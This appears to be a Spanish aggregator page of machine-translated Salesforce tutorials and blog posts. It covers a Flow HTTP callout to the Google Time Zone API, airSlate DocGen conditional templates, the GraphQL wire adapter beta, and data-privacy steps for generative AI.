Además, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisión : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicación en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es fácil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es fácil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace útil para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integración : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones móviles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programación de comunicaciones en diferentes franjas horarias, etc.
  6. Información actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, estén siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturación y la API de zona horaria habilitada. Aquí hay una guía paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, también puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturación

Debe vincular una cuenta de facturación a su proyecto para usar la API de zona horaria de Google. Así es cómo:

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y haga clic en Facturación .
  2. Si tiene una o más cuentas de facturación, elija una cuenta y asóciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturación y luego asóciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturación, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecciónela.
  3. En la página de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el botón + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se creará y se mostrará. Cópielo y guárdelo de forma segura. Necesitará esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud está todo configurado y puede comenzar a usar la API de zona horaria de Google.

👉 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticación, esta guía se enfoca en el método de clave de API más simple por razones de brevedad. Si necesita un método de autenticación más seguro o complejo, consulte la documentación de autenticación oficial de Google.

Enfoque de Campeón de Automatización (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatización como Apex Trigger y otras, utilizaremos Salesforce Flow y la función de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o envía datos entre la base de datos de Salesforce y un sistema externo a través de Flow Builder sin usar código. Puede configurar integraciones directas según sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Después de configurar la acción de llamada HTTP en un flujo, Flow Builder genera automáticamente un registro de servicio externo , una acción invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuación, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener información de direcciones usando una API de mapa
  • Obtén las condiciones meteorológicas con una API de servicios meteorológicos
  • Genere el código de barras con una API de servicio de código de barras
  • Obtenga información de autorización de pago con una API de procesamiento de pagos
  • y mucho más

Antes de discutir la solución, permítame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatización.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una fórmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisión para verificar el código de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servirán como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c Número (18,0)
rawOffset rawOffset__c Número (18,0)
Posición actual Posición_actual__c Geolocalización
Identificación de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la página con la URL y los parámetros de autenticación del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opción Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posición_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condición
    6. Fila 2:
      1. Campo : Posición_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acción y registros relacionados
    8. Elija la opción para incluir una ruta de ejecución asíncrona para acceder a un sistema externo después de que la transacción original para el registro de activación se confirme con éxito .
  5. Haga clic en Listo.

Paso 3.2: fórmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la época de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Fórmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : Número
    4. Lugares decimales : 0
    5. Fórmula : RONDA((AHORA() – FECHAHORAVALUE(“1970-01-01 00:00:00”)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acción de llamada HTTP GET

HTTP Callout lo guía a través de la introducción de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se está conectando. Después de completar la configuración, invoca la acción en un flujo.

  1. En el nodo Ejecutar asincrónicamente , seleccione Acción .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que creó en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acción invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acción que realiza la llamada.
    2. Método : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de parámetros de consulta si la API a la que está llamando las tiene. Cuando usa esta acción en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicación
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la sección Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensación sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
Seguir leyendo

Potenciando su experiencia de Salesforce: Explorando las funciones de DocGen de airSlate para Salesforce

Potenciando su experiencia de Salesforce: Explorando las funciones de DocGen de airSlate para Salesforce

Última actualización el 19 de junio de 2023 por Rakesh Gupta

Atrás quedaron los días en que la creación, generación y gestión de documentos eran producto de tediosos procesos manuales. Hoy en día, DocGen se puede optimizar fácilmente mediante la integración nativa de airSlate con Salesforce .

En pocas palabras, DocGen es una forma de crear documentos con contenido dinámico. Permite agregar lógica condicional e insertar fragmentos de datos de tamaño variable para generar un documento. Simplemente escriba la sintaxis utilizando el generador de etiquetas incorporado de airSlate y no tendrá ningún problema con el formato o la creación de plantillas para otros casos más adelante.

Por ejemplo, el equipo de ventas no sabe qué producto específico comprará un cliente, por lo que puede agregar varias condiciones en su formulario de pedido que se mostrarán según el producto. Esto permite crear un formulario de pedido una vez, lo que reduce la cantidad de procesamiento manual.

Generación de documentos con contenido dinámico precargado desde Salesforce

Imagine que puede generar un informe que incluya datos sobre Oportunidades que no están cerradas, o solo aquellas creadas después de una fecha específica, o cualquier otro criterio de su elección con un solo clic del botón. Más tarde, puede adjuntar estos informes a los registros de Salesforce, cargarlos en un almacenamiento externo o enviarlos por correo electrónico a los clientes si es necesario.

Para hacerlo, deberá crear tablas con un número dinámico de filas agregando etiquetas de tabla a la plantilla DOCX.

  1. Para comenzar, seleccione el flujo en el que está trabajando actualmente en airSlate o cree un nuevo flujo si aún no tiene uno. Elija Generación de documentos en el bloque Documento . Cree o cargue el documento DOCX de su elección.
  2. Luego cree o inserte una tabla simple con la siguiente sintaxis de etiquetas o simplemente copie y pegue la tabla a continuación:

    Nombre Cantidad
    {{tabla(Productos)}}  
    {{OpportunityName}} {{Cantidad de oportunidad}}
    {{mesa final}}  
  3. Tome nota : {{table(Products)}} {{endtable}} son las filas entre la fila del elemento de apertura.
  4. Cuando haya terminado, haga clic en Completar .

Cómo funciona DocGen en airSlate para Salesforce: agregar documentos y formularios

  1. Vaya a la pestaña Bots y haga clic en Agregar bot .
  2. Elija Precompletar desde el registro de Salesforce en la categoría de Salesforce. Este airSlate Bot precarga automáticamente un documento con datos tomados de un registro de Salesforce, objetos secundarios y archivos PNG y JPEG.
  3. Haga clic en Instalar Bot para agregarlo a su flujo de trabajo, luego se abrirá la ventana de configuración de Bot.
  4. Conecte su cuenta de Salesforce y elija el objeto base de Salesforce que contiene el registro que necesita (por ejemplo, Cuenta ). Seleccione Oportunidad como objeto relacionado.
    1. Seleccione Tabla para el tipo de datos que desea mapear
    2. Asignar campos de objetos de Salesforce a campos de documentos
    3. A continuación, ajuste las condiciones de búsqueda para el registro inicial
  5. El registro inicial es un registro en Salesforce que usamos para extraer datos. Si ejecuta el Flujo desde Salesforce, a través de un botón personalizado , use ese registro donde se hizo clic en el botón personalizado, como el registro de inicio. Si el Flujo no se ejecuta desde Salesforce, simplemente agregue algunos criterios de búsqueda para encontrar el registro que contiene los datos que necesita.
  6. Seleccione el registro inicial de Salesforce para completar previamente los campos del documento. Seleccione un campo de objeto de Salesforce y asígnelo a un campo en el documento (por ejemplo, ID de cuenta ). Cuando un destinatario agrega datos, el Bot encontrará e insertará otros datos para este registro en los campos que ha asignado.
  7. Establezca condiciones si desea ajustar cómo y cuándo actuará el Bot. Las condiciones son opcionales y pueden basarse en un documento , destinatario , fecha , flujo o etapa del contrato , número de campos completados . Puede agregar más de una condición, así como especificar cualquier cantidad de condiciones para activar el Bot.
  8. Si es necesario, puede personalizar la configuración avanzada , configurar cuándo actuará el bot y agregar etiquetas personalizadas.
  9. Después de eso, haga clic en Aplicar configuración para habilitar el Bot.
[contenido incrustado]

Cómo funciona DocGen en airSlate para Salesforce: agregar un bot de Salesforce

DocGen en airSlate para Salesforce funciona a la perfección con la adición de Salesforce Bot. Esta poderosa integración agiliza el proceso de generación de documentos dentro del ecosistema de Salesforce. Al aprovechar el bot de Salesforce, los usuarios pueden automatizar fácilmente la creación y distribución de documentos, ahorrando un tiempo valioso y aumentando la productividad. Con solo unos pocos clics, el bot extrae datos relevantes de los registros de Salesforce y los fusiona con plantillas personalizables, generando documentos pulidos y sin errores.

[contenido incrustado]

Agregar lógica condicional a sus plantillas DOCX

Agregar etiquetas condicionales a sus plantillas DOCX le permite mostrar bloques de texto según ciertas condiciones.

La sintaxis básica de las etiquetas condicionales aparece de la siguiente manera:

  • {{if(ConditionFieldName='Valor1')}}
  • {{else((ConditionFieldName='Value2')}}
  • {{terminara si}}

Veamos cada pieza por separado.

  • {{if(ConditionFieldName}} acción exitosa, si la condición 1 es verdadera
  • {{else((ConditionFieldName}} acción exitosa, si la condición 2 es verdadera
  • {{endif}} condición es cualquier expresión, variable o valor de una función, cálculo o fuente de datos.

Usando condiciones, puede mostrar u ocultar párrafos de texto. Para crear una condición, puede usar un Campo o Variable (para casos más complejos) con operadores como = , != , > , < .

Para los valores de condición, puede utilizar valores establecidos, valores de campo o variables.

Veamos un caso en el que, según el destinatario, el administrador de la cuenta deja una nota para aprobar o revisar el informe mensual.

A continuación, encontrará una guía paso a paso sobre cómo agregar etiquetas condicionales a sus plantillas DOCX:

  1. Cargue el documento que necesita y haga clic en Editar junto a él .
  2. Agregue la etiqueta condicional de su elección a su plantilla DOCX. Por ejemplo, insertaremos la etiqueta con condiciones basadas en la etapa de oportunidad. {{if(AccountSite='Legal')}} ¡Felicitaciones por cerrar los tratos!
  3. {{else(AccountSite='Sales')}} Verifique las cantidades.
  4. {{terminara si}}
  5. Después de esto, haga clic en Completar .

Cómo funciona DocGen en airSlate para Salesforce: configuración de la lógica condicional (parte 1)

  1. Muévase a la pestaña Bots , haga clic en Agregar bot , busque e instale el prerrelleno desde el registro de Salesforce desde la categoría de Salesforce.
  2. Una vez que se abra la ventana de configuración del Bot, configure los ajustes de Conexión .
  3. A continuación, seleccione objetos y campos de mapa . Elija el objeto base de Salesforce que contiene el registro que necesita (por ejemplo, Cuenta ).
  4. El tipo de datos que va a asignar está configurado como Único de forma predeterminada.
  5. Asigne campos de objetos de Salesforce a campos de documentos: Nombre de cuenta y Sitio de cuenta en nuestro caso.
  6. Luego, seleccione el registro inicial de Salesforce para completar previamente los campos del documento y decida cuándo actuará el Bot.
  7. Si es necesario, vaya a la configuración avanzada para establecer la frecuencia con la que actuará el bot, qué hacer con una revisión en caso de que el bot falle y agregue etiquetas para buscar flujos.
  8. Haga clic en Aplicar configuración para habilitar el Bot.
[contenido incrustado]

Cómo funciona DocGen en airSlate para Salesforce: configuración de la lógica condicional (parte 2)

Con DocGen, puede automatizar la generación de documentos en función de condiciones específicas, agilizando su flujo de trabajo y eliminando errores manuales. Al configurar la lógica condicional, puede controlar dinámicamente el contenido, el formato y la distribución de sus documentos, asegurando la personalización. Descubra cómo DocGen de airSlate revoluciona la generación de documentos, haciendo que su experiencia con Salesforce sea aún más eficiente y efectiva.

[contenido incrustado]

Una vez que haya terminado la configuración del bot, puede activar su flujo de trabajo con el botón personalizado .

Cómo funciona DocGen en airSlate para Salesforce: botón personalizado

Para ver si se ejecutó el flujo, regrese a su cuenta de airSlate y continúe con todos los flujos haciendo clic en Cerrar en la parte superior de la página.

Junto al Flujo, haga clic en Revisar . Elija el Paso para revisar el Flujo y haga clic en Revisar una vez más.

Una vez que se ejecuta el Flujo, el documento se completará automáticamente con los valores de los registros de Salesforce y, luego, partes del texto se representarán condicionalmente en función de estos valores.

[contenido incrustado]

Cómo funciona DocGen en airSlate para Salesforce: revisión del flujo de trabajo

Con DocGen, puede revisar sin esfuerzo sus flujos de trabajo, mejorando la colaboración y la productividad. Esta poderosa herramienta le permite realizar cambios en tiempo real en sus documentos, realizar un seguimiento de las revisiones y recopilar comentarios de las partes interesadas, lo que garantiza una gestión de documentos sin inconvenientes. Diga adiós a las revisiones manuales que consumen mucho tiempo y adopte la eficiencia de DocGen for Salesforce de airSlate, transformando su flujo de trabajo en un proceso optimizado y sin errores.

[contenido incrustado]

La línea de fondo

En esta publicación de blog, hemos explorado el proceso de generar documentos con contenido dinámico precargado desde Salesforce e incorporar lógica condicional en sus plantillas DOCX. Sin embargo, creemos que solo hemos tocado las posibilidades ilimitadas que ofrece airSlate para Salesforce . Si está intrigado por las capacidades de airSlate , le recomendamos que solicite una demostración para presenciar todo su potencial en acción.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Explore el adaptador de cable GraphQL, ahora en versión beta ☁️

Explore el adaptador de cable GraphQL, ahora en versión beta ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Explore el adaptador de cable GraphQL, ahora en versión beta | Blog de desarrolladores de Salesforce

¡Atención, desarrolladores de Salesforce! Hemos estado incursionando en GraphQL durante algún tiempo y estamos llevando las cosas al siguiente nivel. Hace unos meses, anunciamos el lanzamiento piloto del adaptador de cable GraphQL. Mantenga sus soportes porque estamos implementando la versión beta del adaptador de cable GraphQL de Salesforce en nuestro lanzamiento de verano '23. En este blog, exploraremos las novedades de la versión Beta y cómo utilizar Recetas de LWC para crear fácilmente su aplicación Salesforce con la tecnología de GraphQL.

La versión Beta del GraphQL Wire Adapter es un avance significativo en la gestión de datos de Salesforce en LWC. Con la introducción de nuevas funciones, como Recetas LWC, Actualización de datos e Integridad referencial, el proceso de desarrollo se ha vuelto más ágil y eficiente.

El adaptador de cable GraphQL permite consultar datos de Salesforce mediante consultas expresivas con funcionalidades como filtrado, clasificación, paginación y seguimiento de relaciones padre/hijo. También incluye una capa de gestión de datos y almacenamiento en caché del lado del cliente de Lightning Data Service. Estas funciones mejoran la eficiencia y la velocidad del acceso a los datos de Salesforce desde sus aplicaciones web y móviles de LWC.

El adaptador de cable GraphQL interactúa con la API de Salesforce GraphQL, que expone todos los objetos estándar y personalizados disponibles a través de la API de la interfaz de usuario, junto con los metadatos de los objetos. La API también mantiene la seguridad a nivel de objeto y de campo del usuario actual durante la ejecución de la consulta.

Para familiarizarse con el esquema de la API de GraphQL, sugerimos revisar la documentación del esquema utilizando el cliente de Altair GraphQL . Las herramientas disponibles en este cliente facilitan la redacción de su consulta GraphQL y su validación. Luego puede copiar y pegar su consulta directamente en su código JavaScript en Visual Studio Code.

Novedades en Beta:

  1. Recetas LWC: estos son componentes listos para usar que muestran varios casos de uso de GraphQL
  2. Actualización de datos: un mecanismo para actualizar los datos devueltos por su consulta de GraphQL
  3. Integridad referencial: este mecanismo garantiza la coherencia de los datos y las referencias a los recursos de Salesforce, como entidades y campos, son sólidas.

Analicemos cada una de estas características en detalle.

Recetas LWC

LWC Recipes es un repositorio de GitHub con una colección de ejemplos de código disponibles públicamente para componentes web Lightning. Incluye tres recetas GraphQL para ayudarlo a comenzar rápidamente a crear su aplicación Salesforce con GraphQL.

El repositorio proporciona instrucciones sobre cómo configurar su entorno, crear su organización de Salesforce, clonar el repositorio en su máquina local e implementar la aplicación en su organización. El código fuente se puede importar directamente a su Visual Studio Code como un proyecto que puede personalizar según sus necesidades.

Una vez que implemente la aplicación Recetas de LWC en su organización de Salesforce, es posible que vea los siguientes componentes mediante consultas de GraphQL.

Aquí hay una descripción general de los cuatro componentes de LWC que usan consultas GraphQL:

  • graphqlContacts : obtiene contactos que cumplen ciertos criterios, ordenados por nombre y limitados a los primeros cinco registros
  • graphqlVariables : captura la entrada del usuario en una barra de búsqueda en una variable y compone una consulta para devolver contactos cuyo nombre coincide parcialmente con la cadena de entrada
  • graphqlRefresh : obtiene una cantidad de empleados en una cuenta y actualiza los datos al hacer clic en el usuario
  • graphqlPagination : Habilita la paginación a través de una lista de contactos

Dado que muchos de nuestros clientes preguntan sobre la paginación, profundicemos un poco más. El adaptador de cable GraphQL es compatible con la paginación basada en cursores de GraphQL. Puede recorrer las páginas de los resultados de su consulta y controlar la cantidad de resultados que desea obtener cada vez. Para especificar el número de registros a devolver, utilice el first argumento. El número predeterminado es 10.

Si hasNextPage es verdadero, puede proporcionar el valor de endCursor al argumento after de una consulta posterior para solicitar la siguiente página de resultados.

Aquí hay una captura de pantalla de cómo podría verse el proyecto Recetas de LWC en Visual Studio Code. Puede ver un código de ejemplo para la implementación de la paginación.

Actualización de datos

En el mundo del desarrollo de aplicaciones, mostrar datos actualizados es fundamental para una buena experiencia de usuario y para generar confianza. Por lo tanto, en la versión Beta del GraphQL Wire Adapter, presentamos la función refreshGraphQL .

Esta función permite a los desarrolladores activar manualmente una repetición de la consulta. ¿El resultado? Una actualización de los datos proporcionados por el adaptador de cable GraphQL, lo que garantiza que los usuarios siempre vean los datos más actualizados.

Esta actualización se puede activar a pedido, como un clic de botón de un usuario o un evento de JavaScript específico. Esto significa que puede optimizar su aplicación para que se actualice solo cuando sea necesario, lo que proporciona una manera eficiente de mantener los datos actualizados y maximizar el rendimiento de la aplicación. En pocas palabras, la función refreshGraphQL ofrece un método amigable con el rendimiento para mantener los datos actualizados, mejorando la experiencia del usuario y aumentando la confiabilidad de la aplicación.

Aquí hay un ejemplo de uso:

Consulte el componente graphqlRefresh en las recetas de LWC para ver otro ejemplo del uso de la función de actualización de datos.

Integridad referencial

La versión Beta del adaptador de cable GraphQL presenta integridad referencial. He aquí una breve descripción de sus beneficios e implicaciones.

Lightning Data Service (LDS), la capa de administración de datos del lado del cliente de Salesforce, mejora la eficiencia de la aplicación al permitir que los componentes compartan datos, reducir las llamadas al servidor y mantener la coherencia de los datos. También garantiza referencias sólidas a los recursos de Salesforce, propagando cambios de nombre y evitando eliminaciones cuando las referencias persisten.

En la versión piloto del adaptador, requerimos el uso de directivas @category para ayudar a LDS a comprender el esquema de datos y normalizar sus datos de GraphQL.

Sin embargo, en la versión Beta, estas directivas ya no se requieren manualmente. Si se usaron anteriormente, ahora se pueden eliminar de sus consultas de GraphQL. El compilador gestiona de forma autónoma estas directivas, agilizando su proceso de código y reduciendo posibles errores manuales.

¿Qué sigue para GraphQL?

Recordatorio: Salesforce es una empresa que cotiza en bolsa y los clientes deben basar sus decisiones de compra en los productos y servicios que están disponibles actualmente.

Estamos comprometidos a continuar invirtiendo en GraphQL. Esto es lo que puede esperar en los próximos lanzamientos (se aplica la declaración prospectiva):

Invierno '24:

  • Adaptador de cable GraphQL (GA)
  • Compatibilidad con mutaciones en la API de GraphQL
  • Compatibilidad con consultas agregadas en GraphQL Adapter
  • Capacidad de consulta de tareas y eventos en GraphQL API (Beta)

Primavera 24 y más allá:

  • Compatibilidad con mutaciones en GraphQL Adapter
  • Funciones avanzadas de paginación
  • Soporte de campos opcionales

Recursos para desarrolladores

Sobre el Autor

Suvda Myagmar es directora de gestión de productos en Salesforce y le apasionan las plataformas de datos e IA. Le encantan las carreras largas mientras escucha audiolibros.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

5 pasos para la IA generativa confiable para desarrolladores de Salesforce ☁️

5 pasos para la IA generativa confiable para desarrolladores de Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

5 pasos para la IA generativa confiable para desarrolladores de Salesforce | Blog de desarrolladores de Salesforce

La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje automático, la IA generativa puede impulsar la innovación, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades únicas de los clientes.

Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protección de los datos críticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no están poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas sólidas de protección de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que también mantiene la confianza del cliente, su activo más valioso.

Con los cinco pasos que se describen a continuación, puede innovar rápidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.

Paso 1: comprender y auditar sus datos

Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querrá comprender qué datos usará para crear avisos, plantillas y modelos de capacitación. Comprender los datos a los que permite que accedan los modelos de IA ayudará a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.

Entonces, ¿cómo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la información de identificación personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.

Una manera fácil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitación. Una vez que los datos se han escaneado a través de Data Detect, puede confirmar que no hay sorpresas en esos datos, como números de tarjetas de crédito o direcciones de correo electrónico en campos donde ese tipo de datos no debería existir.

Data Detect también puede ayudar a recomendar un nivel de clasificación, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, así como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas automáticamente. por IA.

Paso 2: configure la protección de la privacidad de los datos para sus procesos generativos de IA

Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que confía más en la IA para comprender y tomar decisiones a partir de sus datos, ¿cómo protege también esos datos, especialmente la PII?

Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing dinámicas 1:1, querrá desarrollar políticas de uso de datos claras y transparentes que describan cómo se manejarán los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas políticas a sus clientes y bríndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Además, cree una política para eliminar y ofuscar los datos que ya no son útiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.

Centro de privacidad puede ayudar a verificar que sus procesos de IA estén autorizados para su uso en capacitación y avisos. El Centro de privacidad también puede ayudarlo a crear políticas de retención para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados automáticamente por la IA.

Paso 3: configure su organización para administrar la IA generativa

Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los límites de los datos que desea utilizar, deberá implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.

Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso según sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.

Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organización para los datos que se usan y se obtienen de los procesos de IA.

Ahora preparémonos para implementar la IA de manera segura en toda su organización.

Paso 4: pruebe sus procesos para la implementación

Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos propósitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificación y mitigación de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.

Además, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia práctica y capacitación en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones éticas mientras toman decisiones informadas al usar la tecnología de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicación ética de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnología transformadora con confianza.

Asegúrese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar fácilmente cualquier dato que no deba incluirse con Data Mask .

Paso 5: Supervise y proteja sus procesos de IA

